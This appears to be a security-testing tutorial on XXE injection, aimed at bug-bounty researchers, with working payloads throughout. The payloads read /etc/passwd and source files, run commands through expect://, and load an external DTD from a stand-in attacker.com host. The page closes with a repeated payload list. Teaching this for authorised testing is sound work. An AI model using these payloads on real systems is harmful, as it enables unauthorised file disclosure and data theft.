Other vulnerability types

Learning about XML Injection (XXE)


XML Injection also known as XXE is a form of injection that enables an attacker to read files on a server as well as make outbound calls and extract data. XML stands for extensible markup and an example of some valid XML can be seen below:

<?xml version="1.0" encoding="UTF-8"?>
<note>
  <to>Tove</to>
  <from>Jani</from>
  <heading>Reminder</heading>
  <body>Don't forget me this weekend!</body>
</note>

Pretty straight forward right? The above simples stores the information for a developer to easily access. However XML files also have the ability to reference local files (such as /etc/passwd) and because of this and how XML works, this allows an attacker to extract this sensitive information.

<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>

If you managed to upload a valid .xml file with the above and they were not filtering against malicious XML entities, then the code above will reveal the contents of file:///etc/passwd.

The most common hurdle researchers will face when testing for XXE is filtering. Most web applications you test will have some sort of "defence" to prevent malicious XML from executing. Approach this the same way you would with XSS and try work out what exactly is being filtered (hard-coded values for example?) and try build a bypass. A great article on this can be found here: https://lab.wallarm.com/xxe-that-can-bypass-waf-protection-98f679452ce0/

Testing for XXE injection

File Uploads

Anytime you see a file upload feature always try upload an .XML file and try to read local files. A really simple payload to use as a test to see how they are handling XML uploads is:

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
 <userInfo>
  <firstName>John</firstName>
  <lastName>&example;</lastName>
 </userInfo>

If uploaded successfully, when visited it will display John Doe. The DOCTYPE has been set to replace &example; with Doe and this means the server processed this. Now you can start attempting to read & extract local files.

<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><root>&test;</root>

Some websites will block these attempts, so one goto payload for testing for outbound connections is

<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://UNIQUE_ID_FOR_BURP_COLLABORATOR.burpcollaborator.net/x"> %ext;
]>
<r></r>

If you can get a successful hit against your collaborator server, then you can start trying to extract this information. For a full list of payloads as well as detailed information with them I recommend checking out https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection

XXE via .svg

As well as trying for .XML files try to upload a .svg file and attempt XXE via these payloads:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
    <image xlink:href="expect://ls"></image>
</svg>
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
   <text font-size="16" x="0" y="16">&xxe;</text>
</svg>

A lot of developers sometimes forget to block .svg files as they are not seen as malicious. As well as stored XSS .svg files can be used for XXE in some cases.

application/json to application/xml

Anytime you see a request with Content-Type:application/json simply change it to Content-Type:application/xml but leave the post data as JSON. Send the request and see if it error's expecting valid XML. If yes, now you can start testing to see what type of XML it's expecting & how it's parsed.

Anytime you see XML in the POST data

Pretty straight forward but some web applications, depending on the feature, will naturally send XML in the POST request. This may be to do with some type of image editor or it may be a mobile app designed this way. Simply test for how they are handling certain XML entities (seen above).

<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://UNIQUE_ID_FOR_BURP_COLLABORATOR.burpcollaborator.net/x"> %ext;
]>
<r></r>
<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % ext SYSTEM "http://attacker.com/ext.dtd">
    %ext;
]>
<message></message>
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<contacts>
  <contact>
    <name>Jean &xxe; Dupont</name>
    <phone>00 11 22 33 44</phone>
    <adress>42 rue du CTF</adress>
    <zipcode>75000</zipcode>
    <city>Paris</city>
  </contact>
</contacts>
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
 <userInfo>
  <firstName>John</firstName>
  <lastName>&example;</lastName>
 </userInfo>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
    <image xlink:href="expect://ls"></image>
</svg>
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
   <text font-size="16" x="0" y="16">&xxe;</text>
</svg>